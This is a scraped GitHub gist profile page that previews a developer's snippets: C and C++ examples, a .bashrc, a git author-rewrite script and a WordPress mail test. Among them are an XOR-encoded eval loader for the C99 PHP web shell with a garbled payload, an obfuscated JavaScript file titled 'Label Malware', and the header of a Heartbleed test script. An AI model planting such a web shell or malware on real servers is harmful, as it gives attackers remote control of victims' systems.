Skip to content

Instantly share code, notes, and snippets.

View yorickdewid's full-sized avatar

Yorick de Wid yorickdewid

  • Netherlands
  • 13:22 (UTC +01:00)
View GitHub Profile
@yorickdewid
yorickdewid / wp_mailcheck.php
Created December 15, 2014 20:21
Verify WordPress can send mails
<?php
/**
* Update variable settings.
* Load to your WP root folder.
*/
// Set $to as the email you want to send the test to
$to = "[email protected]";
// No need to make changes below this line
@yorickdewid
yorickdewid / c99shell_encode.php
Created December 29, 2014 22:14
C99Shell.php
<?
$key=58;$str=file(__FILE__);$res=''; for($j=2;$j<count($str);$j++) $res .=$str[$j];$str=str_replace("[phpcode]", "<?", $res);$len=strlen($str);$ev='';for($i=0;$i<$len;$i++)$ev .= chr(ord($str[$i]) ^ $key);eval($ev);exit;?>
7070707033333YIR_VVJRJL 
JH_H_V_[I_XOSV^ 703333333|H__M[H_VSY_TI_7033333333ø“yyn_[w70YIR_VVë¾êŠêƒêê†êê‡êêŽêŒêëºë½êëºêêMMMê‹ëºê„ë¹êêëº70ê¨ë±ê†ê„êŒêë¸êê‹êë»ê…êêŠë¸ê‡ê„ë»ê€êŠë½êŠë¸ë¶ê…ê„ë»êêêŽê‡ë´ë´êˆêëºë»ê‚ë´ê‡êŠêŽê„ê†êŠë²ê‡êêƒë»ë¸ëºêŠê‡ê‚ë½ê€êê…ëºê„êŽë¹ê€ë¸êŠ 70RNNJ YYN_[WHOH_V_[I_IYIR_VV7070mx RNNJ YYN_[WHO70sykost   7070ê¤ë»ê„ê‹êê‡ê‡ê„ë»ë¸ê‚ 70ë¹ê…ëºêŠêˆêêê‡ê‚êêê„ê€êŠêë¶ê‡ë±ê†ê‚ê‚ë¹êŽêŠêêê‡ê‡ë±ê†ê‚\NJI[WX[ë¾êŠêƒêêŠê†ê‚ê…êŠê…ê€êŠê†ê‚ë»ê„ëºë¸ê‚ëºê„êˆê€êŠ70êêŠê€êŠë½ê‚êˆêŠê‡ê‚êë»ê€êŠë½ê‚êˆêŠê‡ê‚êë¾êŠêƒêê„êˆê‚ê…êŠê…ê„ê€70ê…ëºêêŽêˆê„ëºê‚ë¸êêë¶ê‡ê„
@yorickdewid
yorickdewid / feature.cpp
Created January 3, 2015 09:54
Example code of the C++11 features
/// This is a demonstration of a few nice C++11 features: auto, the ':'
/// iterator, initializer lists, std::function, and lambda expressions. In
/// many cases, it's possible to achieve the same effect as I present using
/// even less code, but by being explicit I hope I have made the code and
/// comments easy to follow
#include <functional>
#include <iostream>
#include <map>
#include <string>
@yorickdewid
yorickdewid / datenumber.c
Last active June 29, 2016 17:18
Generate a pseudorandom uqiue identifier
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <memory.h>
#ifdef __MINGW32__
#include <windows.h>
#else
#include <sys/time.h>
#endif // __MINGW32__
@yorickdewid
yorickdewid / .bashrc
Last active February 26, 2021 13:03
Custom Bash shell
# $HOME/.bashrc FILE for bash-3.0 (or later)
#
# By Yorick de Wid
# First revision Aug. 2006
#
# Usage: source $HOME/.bashrc
# If not running interactively, don't do anything
[ -z "$PS1" ] && return
#!/usr/bin/python
# Modified by Travis Lee
# Last Updated: 4/21/14
# Version 1.16
#
# -changed output to display text only instead of hexdump and made it easier to read
# -added option to specify number of times to connect to server (to get more data)
# -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc...
# -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port)
#!/bin/sh
git filter-branch --env-filter '
OLD_EMAIL="[email protected]"
CORRECT_NAME="Your Correct Name"
CORRECT_EMAIL="[email protected]"
if [ "$GIT_COMMITTER_EMAIL" = "$OLD_EMAIL" ]
then
@yorickdewid
yorickdewid / qpanel_install.sh
Last active August 29, 2015 14:17
Qpanel installation script for Ubuntu
#!/usr/bin/env bash
# OS VERSION: Ubuntu Server 12.04.x LTS
# ARCH: x32_64
# QPanel Automated Installation Script
# =============================================
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
@yorickdewid
yorickdewid / label.js
Created March 22, 2015 22:25
Label Malware
var id = "5555555E0A0B07241511010A1E054A0A0110";
function RuBit() {
StableSortEn('bje');
WrapEx()
};
function EsJavaUpload() {
StableSortEn('lse)');
XhtmlLid();
@yorickdewid
yorickdewid / iotest.c
Created April 20, 2015 11:28
Puts() vs printf()
/*
* puts vs printf test
*
*/
#include <stdio.h>
#include <time.h>
#define LOOP 100000